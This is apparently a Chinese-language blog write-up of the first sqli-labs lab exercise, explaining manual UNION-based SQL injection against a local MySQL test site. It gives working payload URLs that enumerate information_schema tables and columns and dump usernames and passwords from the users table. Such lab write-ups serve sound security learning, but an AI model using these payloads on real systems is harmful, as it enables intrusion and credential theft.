1. 程式人生 > >Sqli-labs學習第一題

Sqli-labs學習第一題

很多東西瞭解一下,然後去用,總會遇到問題,一定不能淺嘗輒止,要深入學習下,不能說說,要及時複習,要經常用才不會忘。
一直用 sqlmap,很少手工注入,但是很多時候不是別人寫的工具就能解決的,要自己的工具適應不同的場景,編寫自己的工具,那麼首先要手工流程很熟悉才可以。
決定實踐一遍 sqli-labs,還有各大平臺的CTF都來一遍。
實踐是檢驗真理的唯一標準

搭建在本地的:

第一題是最簡單的 get 報錯注入
這裡寫圖片描述

我加了個單引號立馬就報錯了
這裡寫圖片描述

根據報錯語句

check the manual that corresponds to your MySQL server version
for the right syntax to use near ''1'' LIMIT 0,1' at line 1

也就是說傳入的id是查詢的id,然後後面的語句是 limit 0,1

可以在頁面上加上一條語句來輸出sql語句

    echo "你的 sql 語句是:".$sql."<br>";

這裡寫圖片描述

使用 order by判斷使用了幾個欄位,然後使用 union聯合查詢

什麼意思呢?

order by的意思是 根據什麼來排序,然後 order by 3 %23 是什麼意思呢?

就是 按第三個欄位排序, %23是 #的url編碼,#是mysql中的註釋
如果 order by 4 就會報錯了,因為沒有第4個欄位

這裡寫圖片描述

order by 4報錯

這裡寫圖片描述

目前說明了這個表一共有 3個欄位

使用 union 是聯合查詢,將前面的select與後面的 select 的查詢結果合併起來
那麼我們讓第一個 select的查詢位空,那麼頁面上顯示的就是後面的select也就是我們想要執行的查詢語句
可以使用NULL來代替。

這裡寫圖片描述

查詢資料庫的版本 version()

還有 一共3個欄位,使用 union的話前面的查詢出來的欄位的型別要與後面的一樣,不然會報錯

資料庫中有3個欄位,但是第一個欄位不會顯示到頁面

這裡寫圖片描述

http://localhost:9096/sqli-labs/Less-1/?id=-1' union select
NULL,version(),user()%23

火狐新版本真雞兒難用

這裡寫圖片描述

獲取資料庫版本和現在使用的資料庫版本

改成 user()
獲取使用者
這裡寫圖片描述

user() version() database() 都是mysql的函式。

通過這樣執行來獲取資料庫資訊。

這樣是兩個位置,還可以使用 資料庫的連線函式

concat和concat_ws group_concat

正好這裡學習一下這幾個函式的使用:

concat(str1,str2,…)
返回結果為連線引數產生的字串。如有任何一個引數為NULL,則返回為NULL,若所有引數均為非二進位制字串,則結果為非二進位制字串,但是變數中包含一個二進位制字串,則結果就是一個二進位制字串。

這裡寫圖片描述

也就是可以這樣來一個位置獲取兩個值
這裡寫圖片描述

要注意,要執行命令 use 資料庫
database()返回的才是現在使用的資料庫也就是 use的。
不然沒有使用當然返回的是NULL

這裡寫圖片描述

第二個 concat_ws

這個是 concat的特殊形式,第一個引數是其他引數的分隔符,分割位置放在要連線的兩個字串之間,分隔符可以是一個字串,也可以是其他引數
這裡寫圖片描述

第三個 group_concat()分組拼接函式

group_concat([DISTINCT] 要連線的字串 [ORDER BY ASC/DESC 排序欄位] [SEPARATOR ‘分隔符’])

select cat_id,group_concat(shop_price) from goods group by cat_id limit 3;

什麼意思呢?
查詢 cat_id和 對應的這個組的所有的 shop_price 按 cat_id分組。
這樣就獲取到指定分組的所有的資料了。

這裡寫圖片描述

還可以指定分隔符

select cat_id,group_concat(shop_price separator ':') from goods group by cat_id limit 3;

這裡寫圖片描述

還可以排序

select cat_id,group_concat(shop_price order by shop_price desc) from goods group by cat_id limit 3;

這裡寫圖片描述

接回原來。
但是如果直接使用 : html會被轉義

可以使用 mysql的char函式將十進位制轉為字元

:的十進位制也就是ASCII 是 58
這裡寫圖片描述

char函式很有用,防止被 html編碼

說是這麼說,但是我嘗試了直接還可以的

http://localhost:9096/sqli-labs/Less-1/?id=-1';
union select NULL,concat_ws(': ',version(),database(),user()),NULL%23

這裡寫圖片描述

既然知道了資料庫,那麼我們就要想知道資料庫中有什麼資料表

這裡要用到mysql資料庫的預設資料庫 information_schema
這個記錄了當前資料庫的資料庫,表,列等等資訊。
也就是說我們可以從這個資料庫中查詢我們想要的資訊

這個 information_schema的表

schemata表:
儲存mysql所有資料庫的基本資訊,包括資料庫名,編碼型別路徑等,
原來 show database也是取自這個表

tables表:
一看就知道儲存mysql中的表資訊。

columns表:
當然就是表中的列資訊了。

select * from information_schema.tables where table_schema=security;

這裡寫圖片描述

首先為什麼使用 table_schema呢?

首先使用資料庫 information_schema
檢視都有什麼表:
這裡寫圖片描述

查詢下 tables表的結構

可以看到 table_schema

這裡寫圖片描述

我們再來看下這個欄位的資料

這裡寫圖片描述

這裡寫圖片描述

都是資料庫,所有~~~

select * from information_schema.tables where table_schema = 'security';

最後的要是字元才可以。
也可以使用十六進位制,然後使用十六進位制是最好的,不然還有單引號等問題

這裡寫圖片描述

這裡寫圖片描述

十六進位制前面要加上 0x
這裡寫圖片描述

可以嘗試下

這裡寫圖片描述

那麼使用

http://localhost:9096/sqli-labs/Less-1/?id=-1'; union select 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479 %23

閉合前面select查詢的結果為空,後面查詢 information_schema資料庫,根據我們得到的資料庫來查詢表的資訊
table_name來獲取表
這裡寫圖片描述

資料庫表的資訊

這裡寫圖片描述

為什麼我沒有加 limit 也是隻返回第一個呢?

因為的 php的函式

mysql_fetch_array只被呼叫了一次,而mysql_fetch_array() 函式從結果集中取得一行作為關聯陣列

他只取了遊標最上面的~

那我們想獲取後面的表就可以使用 limit

http://localhost:9096/sqli-labs/Less-1/?id=-1'; union select 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479 limit 1,2%23

斷的改 limit就可以獲取所有的表了~

這裡寫圖片描述

http://localhost:9096/sqli-labs/Less-1/?id=-1'; union select 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479 limit 2,3%23


一直到 4,5返回空了
http://localhost:9096/sqli-labs/Less-1/?id=-1'; union select 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479 limit 4,5%23

這裡寫圖片描述

這樣我們獲取到了表 emails referers uagents users

既然有 users 肯定有管理員的使用者名稱和密碼

有了表,我們就要查詢欄位,同樣使用 inforamtion_schema資料庫
來獲取我們想要的資訊

select * from information_schema.columns where table_schema='security';

這裡寫圖片描述

使用:

http://localhost:9096/sqli-labs/Less-1/?id=-1'; union select 1,2,column_name from information_schema.columns where table_schema=0x7365637572697479 and table_name= 0x7573657273 %23

這裡寫圖片描述

與查詢資料庫變了下欄位

同樣的道理
但是要注意加了 and table_name,要是表字段是我們想要的users才行,
同樣使用

http://localhost:9096/sqli-labs/Less-1/?id=-1'; union select 1,2,column_name from information_schema.columns where table_schema=0x7365637572697479 limit 1,2%23

更改 limit獲取欄位的資訊

id,username,password

我們現在知道了欄位。那麼就可以直接 select 獲取了

http://localhost:9096/sqli-labs/Less-1/?id=-1';
union select 1,2,concat_ws(':',id,username,password) from users%23

這裡寫圖片描述

以後每週都會學習sqli-lab和ctf,也都會做相應的部落格筆記。這次不再是筆記了,我要有這讓別人能很容易看懂的去寫,真正理解的去寫。

想學不要想去做吧。